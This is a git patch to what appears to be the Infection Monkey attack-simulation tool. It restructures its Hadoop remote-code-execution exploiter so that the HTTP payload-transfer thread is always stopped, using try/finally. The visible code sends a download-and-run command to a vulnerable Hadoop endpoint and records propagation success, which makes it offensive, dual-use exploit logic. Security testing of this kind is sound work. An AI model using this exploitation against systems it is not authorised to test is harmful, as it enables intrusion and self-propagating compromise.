From 871b02d51428f4ef5fbe8b71cc83b3c4fec52ab9 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 24 Feb 2022 12:21:54 +0100 Subject: [PATCH] Agent: Stop Hadoop http_thread regardless the exploit result --- monkey/infection_monkey/exploit/hadoop.py | 20 ++++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 04f037762..5a3c29b65 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -46,14 +46,18 @@ class HadoopExploiter(WebRCE): if not paths: return self.exploit_result http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"]) - command = self._build_command(paths["dest_path"], http_path) - if not self.exploit(self.vulnerable_urls[0], command): - return self.exploit_result - http_thread.join(self.DOWNLOAD_TIMEOUT) - http_thread.stop() - self.add_executed_cmd(command) - self.exploit_result.exploitation_success = True - self.exploit_result.propagation_success = True + + try: + command = self._build_command(paths["dest_path"], http_path) + + if self.exploit(self.vulnerable_urls[0], command): + self.add_executed_cmd(command) + self.exploit_result.exploitation_success = True + self.exploit_result.propagation_success = True + finally: + http_thread.join(self.DOWNLOAD_TIMEOUT) + http_thread.stop() + return self.exploit_result def exploit(self, url, command):